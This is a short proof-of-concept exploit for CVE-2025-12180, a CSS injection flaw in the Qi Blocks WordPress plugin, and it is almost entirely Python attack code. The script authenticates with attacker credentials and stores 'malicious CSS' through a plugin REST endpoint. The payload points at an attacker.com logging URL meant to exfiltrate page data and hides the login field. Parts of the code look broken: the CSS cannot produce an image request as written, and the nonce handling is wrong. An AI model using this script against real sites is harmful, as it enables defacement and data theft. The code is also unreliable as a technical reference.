CVE-2025-12180 Qi Blocks WordPress插件CSS注入漏洞

import requests import json # CVE-2025-12180 PoC - CSS Injection in Qi Blocks WordPress Plugin # Target: WordPress site with Qi Blocks plugin <= 1.4.3 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Step 1: Authenticate and get nonce/cookies login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Step 2: Get REST API nonce via wp-api api_nonce_url = f"{TARGET_URL}/wp-json/wp/v2/users/me" auth_response = session.get(api_nonce_url, auth=(USERNAME, PASSWORD)) # Step 3: Inject malicious CSS via REST API endpoint inject_url = f"{TARGET_URL}/wp-json/qi-blocks/v1/update-styles" # Malicious CSS payload - CSS injection for data exfiltration malicious_css = """ body::before { content: "<img src='https://attacker.com/log?data=' attr(class) '>"; display: block; } input[name="log"] { display: none; } """ payload = { "global_styles": malicious_css, "style_id": "malicious-style-1" } headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wp-rest") or "" } response = session.post(inject_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify injection (check if CSS is applied to pages) if response.status_code in [200, 201]: print("[+] CSS injection successful!") print("[+] Malicious CSS has been stored and will be rendered on pages.") else: print("[-] Injection failed. Check authentication or plugin version.")